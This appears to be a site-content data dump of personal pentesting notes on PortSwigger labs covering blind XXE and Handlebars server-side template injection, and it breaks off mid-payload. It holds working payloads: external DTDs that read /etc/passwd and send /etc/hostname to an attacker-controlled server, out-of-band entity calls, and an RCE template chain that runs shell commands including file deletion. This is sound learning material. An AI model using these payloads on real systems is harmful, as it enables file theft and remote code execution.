Lab)",{"type":8,"value":1904,"toc":2007},[1905,1909,1911,1918,1920,1922,1928,1930,1936,1940,1943,1946,1963,1969,1994,1997,2003,2005],[11,1906,1908],{"id":1907},"blind-xxe-retrieving-data-via-error-messages","Blind XXE: Retrieving Data via Error Messages",[19,1910,121],{"id":120},[15,1912,1913,131],{},[125,1914,1917],{"href":1915,"rel":1916},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Fxxe\u002Fblind\u002Flab-xxe-with-data-retrieval-via-error-messages",[129],"Exploiting blind XXE to retrieve data via error messages",[19,1919,135],{"id":134},[137,1921,140],{"id":139},[142,1923,1926],{"className":1924,"code":1925,"language":147},[145],"This lab has a \"Check stock\" feature that parses XML input but does not display the result.\n\nTo solve the lab, use an external DTD to trigger an error message that displays the contents of the \u002Fetc\u002Fpasswd file.\n\nThe lab contains a link to an exploit server on a different domain where you can host your malicious DTD.\n",[37,1927,1925],{"__ignoreMap":87},[137,1929,1495],{"id":1494},[15,1931,1932,1933,1935],{},"The stock-check route accepts XML. We need to host a DTD on the exploit server with a payload that deliberately triggers an error when opening a file. The filename has the contents of ",[37,1934,1501],{}," concatenated in — so the server's error will include this filename, which contains the data we want.",[137,1937,1939],{"id":1938},"attack","Attack",[15,1941,1942],{},"Nothing tricky here after the previous lab.",[15,1944,1945],{},"Request payload — to force the parser to fetch our external DTD:",[142,1947,1951],{"className":1948,"code":1949,"language":1950,"meta":87,"style":87},"language-xml shiki shiki-themes github-light github-dark","\u003C!DOCTYPE foo [\u003C!ENTITY % xxe SYSTEM\n\"https:\u002F\u002Fexploit-0ab1001a03e21303800ef7ff01a5002d.exploit-server.net\u002Fexploit.dtd\"> %xxe;]>\n","xml",[37,1952,1953,1958],{"__ignoreMap":87},[313,1954,1955],{"class":315,"line":316},[313,1956,1957],{},"\u003C!DOCTYPE foo [\u003C!ENTITY % xxe SYSTEM\n",[313,1959,1960],{"class":315,"line":88},[313,1961,1962],{},"\"https:\u002F\u002Fexploit-0ab1001a03e21303800ef7ff01a5002d.exploit-server.net\u002Fexploit.dtd\"> %xxe;]>\n",[15,1964,1965,1966,1968],{},"On the exploit server we set ",[37,1967,496],{}," and add this code:",[142,1970,1972],{"className":1948,"code":1971,"language":1950,"meta":87,"style":87},"\u003C!ENTITY % file SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fpasswd\">\n\u003C!ENTITY % eval \"\u003C!ENTITY &#x25; error SYSTEM 'file:\u002F\u002F\u002Fnonexistent\u002F%file;'>\">\n%eval;\n%error;\n",[37,1973,1974,1979,1984,1989],{"__ignoreMap":87},[313,1975,1976],{"class":315,"line":316},[313,1977,1978],{},"\u003C!ENTITY % file SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fpasswd\">\n",[313,1980,1981],{"class":315,"line":88},[313,1982,1983],{},"\u003C!ENTITY % eval \"\u003C!ENTITY &#x25; error SYSTEM 'file:\u002F\u002F\u002Fnonexistent\u002F%file;'>\">\n",[313,1985,1986],{"class":315,"line":253},[313,1987,1988],{},"%eval;\n",[313,1990,1991],{"class":315,"line":780},[313,1992,1993],{},"%error;\n",[15,1995,1996],{},"Send the request:",[142,1998,2001],{"className":1999,"code":2000,"language":147},[145],"\"XML parser exited with error: java.io.FileNotFoundException: \u002Fnonexistent\u002Froot:x:0:0:root:\u002Froot:\u002Fbin\u002Fbash\ndaemon:x:1:1:daemon:\u002Fusr\u002Fsbin:\u002Fusr\u002Fsbin\u002Fnologin\nbin:x:2:2:bin:\u002Fbin:\u002Fusr\u002Fsbin\u002Fnologin\nsys:x:3:3:sys:\u002Fdev:\u002Fusr\u002Fsbin\u002Fnologin\nsync:x:4:65534:sync:\u002Fbin:\u002Fbin\u002Fsync\ngames:x:5:60:games:\u002Fusr\u002Fgames:\u002Fusr\u002Fsbin\u002Fnologin\nman:x:6:12:man:\u002Fvar\u002Fcache\u002Fman:\u002Fusr\u002Fsbin\u002Fnologin\nlp:x:7:7:lp:\u002Fvar\u002Fspool\u002Flpd:\u002Fusr\u002Fsbin\u002Fnologin\nmail:x:8:8:mail:\u002Fvar\u002Fmail:\u002Fusr\u002Fsbin\u002Fnologin\nnews:x:9:9:news:\u002Fvar\u002Fspool\u002Fnews:\u002Fusr\u002Fsbin\u002Fnologin\nuucp:x:10:10:uucp:\u002Fvar\u002Fspool\u002Fuucp:\u002Fusr\u002Fsbin\u002Fnologin\nproxy:x:13:13:proxy:\u002Fbin:\u002Fusr\u002Fsbin\u002Fnologin\n",[37,2002,2000],{"__ignoreMap":87},[15,2004,246],{},[361,2006,363],{},{"title":87,"searchDepth":88,"depth":88,"links":2008},[2009,2010],{"id":120,"depth":88,"text":121},{"id":134,"depth":88,"text":135,"children":2011},[2012,2013,2014],{"id":139,"depth":253,"text":140},{"id":1494,"depth":253,"text":1495},{"id":1938,"depth":253,"text":1939},"2026-06-01","An external DTD on the exploit server splices \u002Fetc\u002Fpasswd into the path of a missing file — the XML parser dumps it back in the error message.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fexploiting-blind-xxe-to-retrieve-data-via-error-messages",{"title":1902,"description":2016},{"loc":2018},"notes\u002Fpentesting\u002Fportswigger\u002Fexploiting-blind-xxe-to-retrieve-data-via-error-messages",[264,2023,269],"xxe","30m","X-sfyukzEVeo-tgtzoPjA_o19F_Kv6MVT1DO92JvFZs",{"id":2027,"title":2028,"author":6,"body":2029,"date":2147,"description":2148,"difficulty":257,"extension":94,"image":93,"inProgress":93,"logged":93,"marathonStartDate":93,"meta":2149,"navigation":96,"notes":93,"path":2150,"psTitle":2043,"seo":2151,"sitemap":2152,"stem":2153,"tags":2154,"timeSpent":2024,"type":106,"__hash__":2155},"content_en\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fblind-xxe-with-out-of-band-interaction-via-xml-parameter-entities.md","Blind XXE with OOB Interaction via XML Parameter Entities (PortSwigger Lab)",{"type":8,"value":2030,"toc":2138},[2031,2035,2037,2044,2046,2048,2054,2058,2061,2063,2066,2081,2084,2103,2109,2113,2116,2134,2136],[11,2032,2034],{"id":2033},"blind-xxe-with-oob-interaction-via-xml-parameter-entities","Blind XXE with OOB Interaction via XML Parameter Entities",[19,2036,121],{"id":120},[15,2038,2039,131],{},[125,2040,2043],{"href":2041,"rel":2042},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Fxxe\u002Fblind\u002Flab-xxe-with-out-of-band-interaction-using-parameter-entities",[129],"Blind XXE with out-of-band interaction via XML parameter entities",[19,2045,135],{"id":134},[137,2047,140],{"id":139},[142,2049,2052],{"className":2050,"code":2051,"language":147},[145],"This lab has a \"Check stock\" feature that parses XML input, but does not display any unexpected values, and blocks requests containing regular external entities.\n\nTo solve the lab, use a parameter entity to make the XML parser issue a DNS lookup and HTTP request to Burp Collaborator.\n",[37,2053,2051],{"__ignoreMap":87},[137,2055,2057],{"id":2056},"analyzing-the-task","Analyzing the task",[15,2059,2060],{},"We need to use a parameter entity to make the XML parser send a request to our Burp Collaborator server.",[137,2062,1506],{"id":1505},[15,2064,2065],{},"We find the route. In the body:",[142,2067,2069],{"className":1948,"code":2068,"language":1950,"meta":87,"style":87},"\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003CstockCheck>\u003CproductId>5\u003C\u002FproductId>\u003CstoreId>1\u003C\u002FstoreId>\u003C\u002FstockCheck>\n",[37,2070,2071,2076],{"__ignoreMap":87},[313,2072,2073],{"class":315,"line":316},[313,2074,2075],{},"\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n",[313,2077,2078],{"class":315,"line":88},[313,2079,2080],{},"\u003CstockCheck>\u003CproductId>5\u003C\u002FproductId>\u003CstoreId>1\u003C\u002FstoreId>\u003C\u002FstockCheck>\n",[15,2082,2083],{},"Out of curiosity, let's first try inserting a general external entity:",[142,2085,2087],{"className":1948,"code":2086,"language":1950,"meta":87,"style":87},"\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE stockCheck [\u003C!ENTITY test SYSTEM 'file:\u002F\u002F\u002Fetc\u002Fpasswd'>]>\n\u003CstockCheck>\u003CproductId>5&test;\u003C\u002FproductId>\u003CstoreId>1\u003C\u002FstoreId>\u003C\u002FstockCheck>\n",[37,2088,2089,2093,2098],{"__ignoreMap":87},[313,2090,2091],{"class":315,"line":316},[313,2092,2075],{},[313,2094,2095],{"class":315,"line":88},[313,2096,2097],{},"\u003C!DOCTYPE stockCheck [\u003C!ENTITY test SYSTEM 'file:\u002F\u002F\u002Fetc\u002Fpasswd'>]>\n",[313,2099,2100],{"class":315,"line":253},[313,2101,2102],{},"\u003CstockCheck>\u003CproductId>5&test;\u003C\u002FproductId>\u003CstoreId>1\u003C\u002FstoreId>\u003C\u002FstockCheck>\n",[142,2104,2107],{"className":2105,"code":2106,"language":147},[145],"\"Entities are not allowed for security reasons\"\n",[37,2108,2106],{"__ignoreMap":87},[137,2110,2112],{"id":2111},"exploitation","Exploitation",[15,2114,2115],{},"Doesn't go through — so we do it via a parameter entity:",[142,2117,2119],{"className":1948,"code":2118,"language":1950,"meta":87,"style":87},"\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE stockCheck [\u003C!ENTITY % xxe SYSTEM \"https:\u002F\u002Fne5p4zgdtmsrz8u7ig29c80bq2w0ku8j.oastify.com\"> %xxe; ]>\n\u003CstockCheck>\u003CproductId>5\u003C\u002FproductId>\u003CstoreId>1\u003C\u002FstoreId>\u003C\u002FstockCheck>\n",[37,2120,2121,2125,2130],{"__ignoreMap":87},[313,2122,2123],{"class":315,"line":316},[313,2124,2075],{},[313,2126,2127],{"class":315,"line":88},[313,2128,2129],{},"\u003C!DOCTYPE stockCheck [\u003C!ENTITY % xxe SYSTEM \"https:\u002F\u002Fne5p4zgdtmsrz8u7ig29c80bq2w0ku8j.oastify.com\"> %xxe; ]>\n",[313,2131,2132],{"class":315,"line":253},[313,2133,2080],{},[15,2135,246],{},[361,2137,363],{},{"title":87,"searchDepth":88,"depth":88,"links":2139},[2140,2141],{"id":120,"depth":88,"text":121},{"id":134,"depth":88,"text":135,"children":2142},[2143,2144,2145,2146],{"id":139,"depth":253,"text":140},{"id":2056,"depth":253,"text":2057},{"id":1505,"depth":253,"text":1506},{"id":2111,"depth":253,"text":2112},"2026-05-30","General external entities are blocked, but a parameter entity inside the DOCTYPE still pings Burp Collaborator.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fblind-xxe-with-out-of-band-interaction-via-xml-parameter-entities",{"title":2028,"description":2148},{"loc":2150},"notes\u002Fpentesting\u002Fportswigger\u002Fblind-xxe-with-out-of-band-interaction-via-xml-parameter-entities",[264,2023,269],"u0cEvP9vVq2IrVH8BVemUdddp7O-qftr6UITFjakvUU",{"id":2157,"title":2158,"author":6,"body":2159,"date":2147,"description":2363,"difficulty":257,"extension":94,"image":93,"inProgress":93,"logged":93,"marathonStartDate":93,"meta":2364,"navigation":96,"notes":93,"path":2365,"psTitle":2173,"seo":2366,"sitemap":2367,"stem":2368,"tags":2369,"timeSpent":379,"type":106,"__hash__":2370},"content_en\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fexploiting-blind-xxe-to-exfiltrate-data-using-a-malicious-external-dtd.md","Blind XXE: Exfiltrating Data via a Malicious External DTD (PortSwigger Lab)",{"type":8,"value":2160,"toc":2355},[2161,2165,2167,2174,2176,2178,2184,2186,2192,2195,2211,2214,2217,2241,2244,2253,2256,2260,2266,2280,2283,2289,2292,2298,2301,2323,2326,2335,2338,2344,2351,2353],[11,2162,2164],{"id":2163},"blind-xxe-exfiltrating-data-via-a-malicious-external-dtd","Blind XXE: Exfiltrating Data via a Malicious External DTD",[19,2166,121],{"id":120},[15,2168,2169,131],{},[125,2170,2173],{"href":2171,"rel":2172},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Fxxe\u002Fblind\u002Flab-xxe-with-out-of-band-exfiltration",[129],"Exploiting blind XXE to exfiltrate data using a malicious external DTD",[19,2175,135],{"id":134},[137,2177,140],{"id":139},[142,2179,2182],{"className":2180,"code":2181,"language":147},[145],"This lab has a \"Check stock\" feature that parses XML input but does not display the result.\n\nTo solve the lab, exfiltrate the contents of the \u002Fetc\u002Fhostname file.\n",[37,2183,2181],{"__ignoreMap":87},[137,2185,1495],{"id":1494},[15,2187,2188,2189,524],{},"As usual — there's a check-stock function, it uses XML and is vulnerable to XXE. However, the result isn't returned in the response, so we need to use an external DTD to grab the contents of ",[37,2190,2191],{},"\u002Fetc\u002Fhostname",[15,2193,2194],{},"What we'll need:",[335,2196,2197,2200,2203,2206],{},[33,2198,2199],{},"An exploit server where we'll host the external DTD.",[33,2201,2202],{},"A payload for the external DTD.",[33,2204,2205],{},"A payload for the stock-check route.",[33,2207,2208,2209,524],{},"An exploit server to receive data from ",[37,2210,2191],{},[15,2212,2213],{},"PortSwigger gave us 1 and 4.",[15,2215,2216],{},"Payload for the external DTD:",[142,2218,2220],{"className":1948,"code":2219,"language":1950,"meta":87,"style":87},"\u003C!ENTITY % file SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fhostname\">\n\u003C!ENTITY % eval \"\u003C!ENTITY &#x25; exfiltrate SYSTEM 'http:\u002F\u002Fweb-attacker.com\u002F?x=%file;'>\">\n%eval;\n%exfiltrate;\n",[37,2221,2222,2227,2232,2236],{"__ignoreMap":87},[313,2223,2224],{"class":315,"line":316},[313,2225,2226],{},"\u003C!ENTITY % file SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fhostname\">\n",[313,2228,2229],{"class":315,"line":88},[313,2230,2231],{},"\u003C!ENTITY % eval \"\u003C!ENTITY &#x25; exfiltrate SYSTEM 'http:\u002F\u002Fweb-attacker.com\u002F?x=%file;'>\">\n",[313,2233,2234],{"class":315,"line":253},[313,2235,1988],{},[313,2237,2238],{"class":315,"line":780},[313,2239,2240],{},"%exfiltrate;\n",[15,2242,2243],{},"Payload for the route:",[142,2245,2247],{"className":1948,"code":2246,"language":1950,"meta":87,"style":87},"\u003C!DOCTYPE foo [\u003C!ENTITY % xxe SYSTEM \"http:\u002F\u002Fweb-attacker.com\u002Fmalicious.dtd\"> %xxe;]>\n",[37,2248,2249],{"__ignoreMap":87},[313,2250,2251],{"class":315,"line":316},[313,2252,2246],{},[15,2254,2255],{},"These are draft payloads. During recon we'll wire in the real addresses.",[137,2257,2259],{"id":2258},"recon-and-attack","Recon and attack",[15,2261,2262,2263,212],{},"We find the route — ",[37,2264,2265],{},"POST \u002Fproduct\u002Fstock",[142,2267,2269],{"className":1948,"code":2268,"language":1950,"meta":87,"style":87},"\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003CstockCheck>\u003CproductId>1\u003C\u002FproductId>\u003CstoreId>1\u003C\u002FstoreId>\u003C\u002FstockCheck>\n",[37,2270,2271,2275],{"__ignoreMap":87},[313,2272,2273],{"class":315,"line":316},[313,2274,2075],{},[313,2276,2277],{"class":315,"line":88},[313,2278,2279],{},"\u003CstockCheck>\u003CproductId>1\u003C\u002FproductId>\u003CstoreId>1\u003C\u002FstoreId>\u003C\u002FstockCheck>\n",[15,2281,2282],{},"OK, let's look at our exploit server. Address for the external DTD:",[142,2284,2287],{"className":2285,"code":2286,"language":147},[145],"https:\u002F\u002Fexploit-0a63009c03b4060e804cca5b016d0069.exploit-server.net\u002Fexploit.dtd\n",[37,2288,2286],{"__ignoreMap":87},[15,2290,2291],{},"I think we should set the encoding right away:",[142,2293,2296],{"className":2294,"code":2295,"language":147},[145],"Content-Type: text\u002Fxml; charset=utf-8\n",[37,2297,2295],{"__ignoreMap":87},[15,2299,2300],{},"Content will be:",[142,2302,2304],{"className":1948,"code":2303,"language":1950,"meta":87,"style":87},"\u003C!ENTITY % file SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fhostname\">\n\u003C!ENTITY % eval \"\u003C!ENTITY &#x25; exfiltrate SYSTEM 'https:\u002F\u002Fexploit-0a63009c03b4060e804cca5b016d0069.exploit-server.net?x=%file;'>\">\n%eval;\n%exfiltrate;\n",[37,2305,2306,2310,2315,2319],{"__ignoreMap":87},[313,2307,2308],{"class":315,"line":316},[313,2309,2226],{},[313,2311,2312],{"class":315,"line":88},[313,2313,2314],{},"\u003C!ENTITY % eval \"\u003C!ENTITY &#x25; exfiltrate SYSTEM 'https:\u002F\u002Fexploit-0a63009c03b4060e804cca5b016d0069.exploit-server.net?x=%file;'>\">\n",[313,2316,2317],{"class":315,"line":253},[313,2318,1988],{},[313,2320,2321],{"class":315,"line":780},[313,2322,2240],{},[15,2324,2325],{},"OK, file is ready. Now the request payload:",[142,2327,2329],{"className":1948,"code":2328,"language":1950,"meta":87,"style":87},"\u003C!DOCTYPE foo [\u003C!ENTITY % xxe SYSTEM \"https:\u002F\u002Fexploit-0a63009c03b4060e804cca5b016d0069.exploit-server.net\u002Fexploit.dtd\"> %xxe;]>\n",[37,2330,2331],{"__ignoreMap":87},[313,2332,2333],{"class":315,"line":316},[313,2334,2328],{},[15,2336,2337],{},"Mmm, looks like it worked:",[142,2339,2342],{"className":2340,"code":2341,"language":147},[145],"10.0.3.6        2026-05-30 07:28:22 +0000 \"GET \u002Fexploit.dtd HTTP\u002F1.1\" 200 \"User-Agent: Java\u002F21.0.1\"\n10.0.3.6        2026-05-30 07:28:22 +0000 \"GET \u002F?x=87fc24e05976 HTTP\u002F1.1\" 200 \"User-Agent: Java\u002F21.0.1\"\n",[37,2343,2341],{"__ignoreMap":87},[15,2345,2346,2347,2350],{},"Hostname — ",[37,2348,2349],{},"87fc24e05976",". We submit the answer.",[15,2352,246],{},[361,2354,363],{},{"title":87,"searchDepth":88,"depth":88,"links":2356},[2357,2358],{"id":120,"depth":88,"text":121},{"id":134,"depth":88,"text":135,"children":2359},[2360,2361,2362],{"id":139,"depth":253,"text":140},{"id":1494,"depth":253,"text":1495},{"id":2258,"depth":253,"text":2259},"Two chained parameter entities in an exploit-server-hosted external DTD ship \u002Fetc\u002Fhostname back through a query parameter.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fexploiting-blind-xxe-to-exfiltrate-data-using-a-malicious-external-dtd",{"title":2158,"description":2363},{"loc":2365},"notes\u002Fpentesting\u002Fportswigger\u002Fexploiting-blind-xxe-to-exfiltrate-data-using-a-malicious-external-dtd",[264,2023,269],"29heQ7Odz4PzvSu8oe5x-jxbCJ-7uU07DXwEqT0YcUY",{"id":2372,"title":2373,"author":6,"body":2374,"date":2455,"description":2456,"difficulty":257,"extension":94,"image":93,"inProgress":93,"logged":93,"marathonStartDate":93,"meta":2457,"navigation":96,"notes":93,"path":2458,"psTitle":2388,"seo":2459,"sitemap":2460,"stem":2461,"tags":2462,"timeSpent":2463,"type":106,"__hash__":2464},"content_en\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fblind-xxe-with-out-of-band-interaction.md","Blind XXE with Out-of-Band Interaction (PortSwigger Lab)",{"type":8,"value":2375,"toc":2447},[2376,2380,2382,2389,2391,2393,2399,2401,2404,2406,2409,2415,2418,2421,2440,2443,2445],[11,2377,2379],{"id":2378},"blind-xxe-with-out-of-band-interaction","Blind XXE with Out-of-Band Interaction",[19,2381,121],{"id":120},[15,2383,2384,131],{},[125,2385,2388],{"href":2386,"rel":2387},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Fxxe\u002Fblind\u002Flab-xxe-with-out-of-band-interaction",[129],"Blind XXE with out-of-band interaction",[19,2390,135],{"id":134},[137,2392,140],{"id":139},[142,2394,2397],{"className":2395,"code":2396,"language":147},[145],"This lab has a \"Check stock\" feature that parses XML input but does not display the result.\n\nYou can detect the blind XXE vulnerability by triggering out-of-band interactions with an external domain.\n\nTo solve the lab, use an external entity to make the XML parser issue a DNS lookup and HTTP request to Burp Collaborator.\n",[37,2398,2396],{"__ignoreMap":87},[137,2400,2057],{"id":2056},[15,2402,2403],{},"The check-stock function parses XML but doesn't show the result in the response. That means we need to use the OOB technique.",[137,2405,2112],{"id":2111},[15,2407,2408],{},"Find the Check stock function:",[142,2410,2413],{"className":2411,"code":2412,"language":147},[145],"POST \u002Fproduct\u002Fstock\n",[37,2414,2412],{"__ignoreMap":87},[15,2416,2417],{},"XML in the body.",[15,2419,2420],{},"OK, let's straight away add an external entity and send a request to Burp Collaborator. Payload:",[142,2422,2424],{"className":1948,"code":2423,"language":1950,"meta":87,"style":87},"\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [ \u003C!ENTITY xxe SYSTEM \"http:\u002F\u002Fl9vnzxbboknpu6p5dex776v9l0ryfo3d.oastify.com\"> ]>\n\u003CstockCheck>\u003CproductId>&xxe;\u003C\u002FproductId>\u003CstoreId>1\u003C\u002FstoreId>\u003C\u002FstockCheck>\n",[37,2425,2426,2430,2435],{"__ignoreMap":87},[313,2427,2428],{"class":315,"line":316},[313,2429,2075],{},[313,2431,2432],{"class":315,"line":88},[313,2433,2434],{},"\u003C!DOCTYPE foo [ \u003C!ENTITY xxe SYSTEM \"http:\u002F\u002Fl9vnzxbboknpu6p5dex776v9l0ryfo3d.oastify.com\"> ]>\n",[313,2436,2437],{"class":315,"line":253},[313,2438,2439],{},"\u003CstockCheck>\u003CproductId>&xxe;\u003C\u002FproductId>\u003CstoreId>1\u003C\u002FstoreId>\u003C\u002FstockCheck>\n",[15,2441,2442],{},"Lands.",[15,2444,246],{},[361,2446,363],{},{"title":87,"searchDepth":88,"depth":88,"links":2448},[2449,2450],{"id":120,"depth":88,"text":121},{"id":134,"depth":88,"text":135,"children":2451},[2452,2453,2454],{"id":139,"depth":253,"text":140},{"id":2056,"depth":253,"text":2057},{"id":2111,"depth":253,"text":2112},"2026-05-29","The XML parser returns nothing, but it dutifully resolves an external entity — a ping lands in Burp Collaborator.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fblind-xxe-with-out-of-band-interaction",{"title":2373,"description":2456},{"loc":2458},"notes\u002Fpentesting\u002Fportswigger\u002Fblind-xxe-with-out-of-band-interaction",[264,2023,269],"25m","q4wmXj-37QeufF7FU2FqNPvYhvE3UW6y4uQMU7U_jfs",{"id":2466,"title":2467,"author":6,"body":2468,"date":2455,"description":2723,"difficulty":2724,"extension":94,"image":93,"inProgress":93,"logged":93,"marathonStartDate":93,"meta":2725,"navigation":96,"notes":93,"path":2726,"psTitle":2482,"seo":2727,"sitemap":2728,"stem":2729,"tags":2730,"timeSpent":2732,"type":106,"__hash__":2733},"content_en\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fserver-side-template-injection-in-an-unknown-language-with-a-documented-exploit.md","SSTI in an Unknown Language with a Documented Exploit (PortSwigger Lab)",{"type":8,"value":2469,"toc":2714},[2470,2474,2476,2484,2486,2488,2494,2496,2507,2509,2512,2518,2521,2524,2530,2533,2539,2542,2548,2554,2557,2559,2562,2573,2673,2675,2681,2687,2690,2699,2701,2707,2710,2712],[11,2471,2473],{"id":2472},"ssti-in-an-unknown-language-with-a-documented-exploit","SSTI in an Unknown Language with a Documented Exploit",[19,2475,121],{"id":120},[15,2477,2478,2483],{},[125,2479,2482],{"href":2480,"rel":2481},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Fserver-side-template-injection\u002Fexploiting\u002Flab-server-side-template-injection-in-an-unknown-language-with-a-documented-exploit",[129],"Server-side template injection in an unknown language with a documented exploit"," · Expert",[19,2485,135],{"id":134},[137,2487,140],{"id":139},[142,2489,2492],{"className":2490,"code":2491,"language":147},[145],"This lab is vulnerable to server-side template injection. To solve the lab, identify the template engine and find a documented exploit online that you can use to execute arbitrary code, then delete the morale.txt file from Carlos's home directory.\n",[37,2493,2491],{"__ignoreMap":87},[137,2495,2057],{"id":2056},[15,2497,2498,2499,2502,2503,2506],{},"There's a site vulnerable to SSTI. We need to identify the engine, find a public exploit, and weaponize it. Delete the ",[37,2500,2501],{},"morale.txt"," file from ",[37,2504,2505],{},"carlos","'s home directory.",[137,2508,1506],{"id":1505},[15,2510,2511],{},"Let's poke the site looking for user input and try to find SSTI.\nWe click on the first product — and a strange redirect happens.\nLet's look at it in Burp more closely.",[142,2513,2516],{"className":2514,"code":2515,"language":147},[145],"GET \u002Fproduct?productId=1\n→ 302 Location: \u002F?message=Unfortunately this product is out of stock\n",[37,2517,2515],{"__ignoreMap":87},[15,2519,2520],{},"The server accepts user input — the error message.",[15,2522,2523],{},"Let's try to check for SSTI. We throw the request into Repeater and send a polyglot payload:",[142,2525,2528],{"className":2526,"code":2527,"language":147},[145],"GET \u002F?message=${{\u003C%[%'\"}}%\\\n",[37,2529,2527],{"__ignoreMap":87},[15,2531,2532],{},"Response:",[142,2534,2537],{"className":2535,"code":2536,"language":147},[145],"Internal Server Error\n\u002Fopt\u002Fnode-v19.8.1-linux-x64\u002Flib\u002Fnode_modules\u002Fhandlebars\u002Fdist\u002Fcjs\u002Fhandlebars\u002Fcompiler\u002Fparser.js:267\n            throw new Error(str);\n            ^\n\nError: Parse error on line 1:\n${{\u003C%[%'\"}}%\\\n---^\nExpecting 'ID', 'STRING', 'NUMBER', 'BOOLEAN', 'UNDEFINED', 'NULL', 'DATA', got 'INVALID'\n    at Parser.parseError (\u002Fopt\u002Fnode-v19.8.1-linux-x64\u002Flib\u002Fnode_modules\u002Fhandlebars\u002Fdist\u002Fcjs\u002Fhandlebars\u002Fcompiler\u002Fparser.js:267:19)\n    at Parser.parse (\u002Fopt\u002Fnode-v19.8.1-linux-x64\u002Flib\u002Fnode_modules\u002Fhandlebars\u002Fdist\u002Fcjs\u002Fhandlebars\u002Fcompiler\u002Fparser.js:336:30)\n    at HandlebarsEnvironment.parse (\u002Fopt\u002Fnode-v19.8.1-linux-x64\u002Flib\u002Fnode_modules\u002Fhandlebars\u002Fdist\u002Fcjs\u002Fhandlebars\u002Fcompiler\u002Fbase.js:46:43)\n    ...\nNode.js v19.8.1\n",[37,2538,2536],{"__ignoreMap":87},[15,2540,2541],{},"Entry point found. Moreover, we know the engine — Handlebars.",[15,2543,2544,2545,524],{},"Let's read up on Handlebars. The docs say we can check ",[37,2546,2547],{},"{{this}}",[142,2549,2552],{"className":2550,"code":2551,"language":147},[145],"Z{{this}} → Z[object Object]\n",[37,2553,2551],{"__ignoreMap":87},[15,2555,2556],{},"So the Handlebars context is visible.",[137,2558,2112],{"id":2111},[15,2560,2561],{},"Let's check PayloadsAllTheThings. Nothing useful.",[15,2563,2564,2565,2568,2569,2572],{},"Then HackTricks. We find a payload. And right away we put ",[37,2566,2567],{},"pwd"," instead of ",[37,2570,2571],{},"whoami"," to get the current directory:",[142,2574,2578],{"className":2575,"code":2576,"language":2577,"meta":87,"style":87},"language-handlebars shiki shiki-themes github-light github-dark","{{#with \"s\" as |string|}}\n  {{#with \"e\"}}\n    {{#with split as |conslist|}}\n      {{this.pop}}\n      {{this.push (lookup string.sub \"constructor\")}}\n      {{this.pop}}\n      {{#with string.split as |codelist|}}\n        {{this.pop}}\n        {{this.push \"return require('child_process').exec('pwd');\"}}\n        {{this.pop}}\n        {{#each conslist}}\n          {{#with (string.sub.apply 0 codelist)}}\n            {{this}}\n          {{\u002Fwith}}\n        {{\u002Feach}}\n      {{\u002Fwith}}\n    {{\u002Fwith}}\n  {{\u002Fwith}}\n{{\u002Fwith}}\n","handlebars",[37,2579,2580,2585,2590,2595,2600,2605,2609,2614,2619,2624,2628,2633,2638,2643,2648,2653,2658,2663,2668],{"__ignoreMap":87},[313,2581,2582],{"class":315,"line":316},[313,2583,2584],{},"{{#with \"s\" as |string|}}\n",[313,2586,2587],{"class":315,"line":88},[313,2588,2589],{},"  {{#with \"e\"}}\n",[313,2591,2592],{"class":315,"line":253},[313,2593,2594],{},"    {{#with split as |conslist|}}\n",[313,2596,2597],{"class":315,"line":780},[313,2598,2599],{},"      {{this.pop}}\n",[313,2601,2602],{"class":315,"line":792},[313,2603,2604],{},"      {{this.push (lookup string.sub \"constructor\")}}\n",[313,2606,2607],{"class":315,"line":802},[313,2608,2599],{},[313,2610,2611],{"class":315,"line":821},[313,2612,2613],{},"      {{#with string.split as |codelist|}}\n",[313,2615,2616],{"class":315,"line":833},[313,2617,2618],{},"        {{this.pop}}\n",[313,2620,2621],{"class":315,"line":842},[313,2622,2623],{},"        {{this.push \"return require('child_process').exec('pwd');\"}}\n",[313,2625,2626],{"class":315,"line":848},[313,2627,2618],{},[313,2629,2630],{"class":315,"line":853},[313,2631,2632],{},"        {{#each conslist}}\n",[313,2634,2635],{"class":315,"line":874},[313,2636,2637],{},"          {{#with (string.sub.apply 0 codelist)}}\n",[313,2639,2640],{"class":315,"line":889},[313,2641,2642],{},"            {{this}}\n",[313,2644,2645],{"class":315,"line":894},[313,2646,2647],{},"          {{\u002Fwith}}\n",[313,2649,2650],{"class":315,"line":899},[313,2651,2652],{},"        {{\u002Feach}}\n",[313,2654,2655],{"class":315,"line":907},[313,2656,2657],{},"      {{\u002Fwith}}\n",[313,2659,2660],{"class":315,"line":919},[313,2661,2662],{},"    {{\u002Fwith}}\n",[313,2664,2665],{"class":315,"line":925},[313,2666,2667],{},"  {{\u002Fwith}}\n",[313,2669,2670],{"class":315,"line":931},[313,2671,2672],{},"{{\u002Fwith}}\n",[15,2674,2532],{},[142,2676,2679],{"className":2677,"code":2678,"language":147},[145],"e2[object Object]function Function() { [native code] }2[object Object]\u002Fhome\u002Fcarlos\n",[37,2680,2678],{"__ignoreMap":87},[15,2682,2683,2684,524],{},"OK, so the command will be something like: ",[37,2685,2686],{},"rm -f \u002Fhome\u002Fcarlos\u002Fmorale.txt",[15,2688,2689],{},"Final payload:",[142,2691,2693],{"className":2575,"code":2692,"language":2577,"meta":87,"style":87},"{{#with \"s\" as |string|}}{{#with 